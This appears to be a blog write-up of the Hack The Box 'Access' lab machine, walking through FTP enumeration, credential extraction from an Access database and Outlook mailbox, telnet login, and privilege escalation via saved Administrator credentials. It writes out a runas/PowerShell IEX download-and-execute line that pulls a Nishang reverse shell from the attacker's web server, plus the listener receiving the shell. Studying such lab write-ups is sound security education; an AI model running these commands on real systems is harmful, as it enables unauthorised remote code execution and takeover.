Access Writeup

09 September 2023 #CTF #HTB #box #easy #windows

access info

Enumeration

nmap

$ sudo nmap -sC -sV 10.10.10.98
[...]
PORT   STATE SERVICE VERSION
21/tcp open  ftp     Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: PASV failed: 425 Cannot open data connection.
| ftp-syst: 
|_  SYST: Windows_NT
23/tcp open  telnet?
80/tcp open  http    Microsoft IIS httpd 7.5
|_http-server-header: Microsoft-IIS/7.5
|_http-title: MegaCorp
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
[...]

FTP

As nmap told us, we can access the FTP server anonymously. Let's download everything recursively with wget:

$ wget -r --no-passive-ftp ftp://10.10.10.98

We have to specify the --no-passive-ftp flag to use "active" mode which basically means that the server will connect back to us instead of the other way around. Check out this article to learn more about active vs passive FTP.

There are only 2 files:

$ find ftp/ -type f -ls
  1098942    12 -rw-r--r--  1 yep  yep    10870 Aug 24  2018 ftp/Engineer/Access\ Control.zip
  1098940  5520 -rw-r--r--  1 yep  yep  5652480 Aug 23  2018 ftp/Backups/backup.mdb

The zip archive is password protected:

$ file 'Access Control.zip'
Access Control.zip: Zip archive data, at least v2.0 to extract, compression method=AES Encrypted

We can use zip2john to get a crackable hash and then try to crack it with hashcat or john but in this case, it won't yield anything.

The other file is a Microsoft Access database:

$ file backup.mdb
backup.mdb: Microsoft Access Database

To work with these kind of files, we'll want to install the mdbtools package (on Debian/Ubuntu/Kali: sudo apt install mdbtools).

Now let's use the mdb-tables command to list all tables present in this DB:

 $ mdb-tables backup.mdb
acc_antiback acc_door acc_firstopen acc_firstopen_emp acc_holidays acc_interlock acc_levelset acc_levelset_door_group acc_linkageio acc_map acc_mapdoorpos acc_morecardempgroup acc_morecardgroup acc_timeseg acc_wiegandfmt ACGroup acholiday ACTimeZones action_log AlarmLog areaadmin att_attreport att_waitforprocessdata attcalclog attexception AuditedExc auth_group_permissions auth_message auth_permission auth_user auth_user_groups auth_user_user_permissions base_additiondata base_appoption base_basecode base_datatranslation base_operatortemplate base_personaloption base_strresource base_strtranslation base_systemoption CHECKEXACT CHECKINOUT dbbackuplog DEPARTMENTS deptadmin DeptUsedSchs devcmds devcmds_bak django_content_type django_session EmOpLog empitemdefine EXCNOTES FaceTemp iclock_dstime iclock_oplog iclock_testdata iclock_testdata_admin_area iclock_testdata_admin_dept LeaveClass LeaveClass1 Machines NUM_RUN NUM_RUN_DEIL operatecmds personnel_area personnel_cardtype personnel_empchange personnel_leavelog ReportItem SchClass SECURITYDETAILS ServerLog SHIFT TBKEY TBSMSALLOT TBSMSINFO TEMPLATE USER_OF_RUN USER_SPEDAY UserACMachines UserACPrivilege USERINFO userinfo_attarea UsersMachines UserUpdates worktable_groupmsg worktable_instantmsg worktable_msgtype worktable_usrmsg ZKAttendanceMonthStatistics acc_levelset_emp acc_morecardset ACUnlockComb AttParam auth_group AUTHDEVICE base_option dbapp_viewmodel FingerVein devlog HOLIDAYS personnel_issuecard SystemLog USER_TEMP_SCH UserUsedSClasses acc_monitor_log OfflinePermitGroups OfflinePermitUsers OfflinePermitDoors LossCard TmpPermitGroups TmpPermitUsers TmpPermitDoors ParamSet acc_reader acc_auxiliary STD_WiegandFmt CustomReport ReportField BioTemplate FaceTempEx FingerVeinEx TEMPLATEEx

We can export a table to csv format with mdb-export. Doing it by hand is clearly not a good option given how many tables there are, so let's write a quick bash loop to run mdb-export against each table in the DB and write it to a dump.txt file:

for table in $(mdb-tables backup.mdb); do echo $table:; mdb-export backup.mdb $table; echo; done > dump.txt

Now if we look in this dump file and search for interesting words such as "password", we'll find this auth_user table:

auth_user:
id,username,password,Status,last_login,RoleID,Remark
25,"admin","admin",1,"08/23/18 21:11:47",26,
27,"engineer","access4u@security",1,"08/23/18 21:13:36",26,
28,"backup_admin","admin",1,"08/23/18 21:14:02",26,

Foothold

The password "access4u@security" works for unziping the archive:

$ 7z e 'Access Control.zip'
[...]

$ ls
'Access Control.pst'  'Access Control.zip'

There is just 1 file in the archive, a Microsoft Outlook mailbox:

$ file 'Access Control.pst'
Access Control.pst: Microsoft Outlook Personal Storage (>=2003, Unicode, version 23), dwReserved1=0x234, dwReserved2=0x22f3a, bidUnused=0000000000000000, dwUnique=0x39, 271360 bytes, bCryptMethod=1, CRC32 0x744a1e2e

This is a binary format so we want to convert it to something a bit more readable. Install the pst-utils package (sudo apt install pst-utils) and run readpst to convert from pst to mbox, which is a plain text mailbox format:

$ readpst 'Access Control.pst'
Opening PST file and indexes...
Processing Folder "Deleted Items"
        "Access Control" - 2 items done, 0 items skipped.

Now let's take a look at this mailbox:

$ cat 'Access Control.mbox'
[...]
The password for the “security” account has been changed to 4Cc3ssC0ntr0ller.  Please ensure this is
passed on to your engineers.
[...]

We can use these creds to get a shell via telnet (port 23/tcp):

$ telnet 10.10.10.98
Trying 10.10.10.98...
Connected to 10.10.10.98.
Escape character is '^]'.
Welcome to Microsoft Telnet Service

login: security
password:

*===============================================================
Microsoft Telnet Server.
*===============================================================
C:\Users\security>whoami
access\security

Privesc

There is an unusual directory ZKTeco in C:\.

C:\>dir C:\
 Volume in drive C has no label.
 Volume Serial Number is 8164-DB5F

 Directory of C:\

08/23/2018  11:05 PM    <DIR>          inetpub
07/14/2009  04:20 AM    <DIR>          PerfLogs
08/23/2018  09:53 PM    <DIR>          Program Files
08/24/2018  08:40 PM    <DIR>          Program Files (x86)
08/24/2018  08:39 PM    <DIR>          temp
08/21/2018  11:31 PM    <DIR>          Users
07/14/2021  02:04 PM    <DIR>          Windows
08/22/2018  08:23 AM    <DIR>          ZKTeco
               0 File(s)              0 bytes
               8 Dir(s)   3,347,705,856 bytes free

Inside this directory is an application called ZKAccess. We can get the version installed in the changelog:

C:\ZKTeco\ZKAccess3.5> type "C:\ZKTeco\ZKAccess3.5\ZKAccess3.5  Change Log.txt"
ZKAccess_3.5.3.12
[...]

Looking for public exploits, we find this one which involves insecure file permissions on the C:\ZKTeco\ZKAccess3.5 directory. It's supposed to look like this:

insecure file perms

We see that NT AUTHORITY\Authenticated Users has modify (M) permission on this directory, which means that any user can change the binary used by the service and replace it with something malicious.

However, when we look at our directory, we don't see the modify permission:

C:\ZKTeco>icacls ZKAccess3.5
ZKAccess3.5 NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
            BUILTIN\Administrators:(I)(OI)(CI)(F)
            BUILTIN\Users:(I)(OI)(CI)(RX)
            BUILTIN\Users:(I)(CI)(AD)
            BUILTIN\Users:(I)(CI)(WD)
            CREATOR OWNER:(I)(OI)(CI)(IO)(F)

Successfully processed 1 files; Failed processing 0 files

Maybe this is a slightly newer version that has been patched, or the box author manually changed the permissions (Furthermore, it looks like there is no running process or service run by this app...).

Moving on, at some point in our enumeration process, we should look for stored credentials:

C:\>cmdkey /list

Currently stored credentials:

    Target: Domain:interactive=ACCESS\Administrator
    Type: Domain Password
    User: ACCESS\Administrator

Bingo, there are saved creds for the Administrator. This means we can run commands as Administrator without specifying the password.

We'll use a Nishang reverse shell hosted on a python werbserver with python -m http.server:

C:\>runas /savecred /user:ACCESS\Administrator "powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.27:8000/rev.ps1')"

This PowerShell snippet will just make a request to our webserver to grab the reverse shell script and execute it.

Make sure to change the IP and/or port if needed. Right after running this command, we get a request on our python webserver and we get the shell as Administrator:

$ nc -lnvp 443
Ncat: Version 7.94SVN ( https://nmap.org/ncat )
Ncat: Listening on [::]:443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.98:49158.
Windows PowerShell running as user Administrator on ACCESS
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\Windows\system32>whoami
access\administrator

Key Takeaways